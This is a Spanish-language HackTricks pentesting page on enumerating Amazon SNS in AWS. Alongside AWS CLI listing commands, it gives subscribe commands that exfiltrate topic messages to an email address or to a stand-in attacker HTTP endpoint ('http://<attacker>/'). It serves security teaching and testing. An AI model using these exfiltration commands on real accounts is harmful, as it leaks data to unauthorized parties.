AWS - SNS Enum

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

SNS

Amazon Simple Notification Service (Amazon SNS) se describe como un servicio de mensajería completamente administrado. Admite tanto tipos de comunicación aplicación a aplicación (A2A) como aplicación a persona (A2P).

Las características clave para la comunicación A2A incluyen mecanismos de publicación/suscripción (pub/sub). Estos mecanismos introducen temas, cruciales para habilitar la mensajería push de alta capacidad, de muchos a muchos. Esta característica es altamente ventajosa en escenarios que involucran sistemas distribuidos, microservicios y arquitecturas serverless basadas en eventos. Al aprovechar estos temas, los sistemas editores pueden distribuir eficientemente mensajes a una amplia gama de sistemas suscriptores, facilitando un patrón de mensajería de fanout.

Diferencia con SQS

SQS es un servicio basado en colas que permite la comunicación punto a punto, asegurando que los mensajes sean procesados por un único consumidor. Ofrece entrega al menos una vez, admite colas estándar y FIFO, y permite la retención de mensajes para reintentos y procesamiento diferido. Por otro lado, SNS es un servicio basado en publicación/suscripción, que permite la comunicación de uno a muchos al transmitir mensajes a múltiples suscriptores simultáneamente. Admite varios puntos finales de suscripción como correo electrónico, SMS, funciones Lambda y HTTP/HTTPS, y proporciona mecanismos de filtrado para la entrega dirigida de mensajes. Si bien ambos servicios permiten el desacoplamiento entre componentes en sistemas distribuidos, SQS se centra en la comunicación en cola, y SNS enfatiza los patrones de comunicación de fan-out basados en eventos.

Enumeración

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Ten en cuenta que si el tema es de tipo FIFO, solo se pueden usar suscriptores que utilicen el protocolo SQS (HTTP o HTTPS no se pueden usar).

Además, incluso si el --topic-arn contiene la región, asegúrate de especificar la región correcta en --region o recibirás un error que parece indicar que no tienes acceso, pero el problema es la región.

Acceso no autenticado

pageAWS - SNS Unauthenticated Enum

Escalada de privilegios

pageAWS - SNS Privesc

Post Explotación

pageAWS - SNS Post Exploitation

Persistencia

pageAWS - SNS Persistence

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización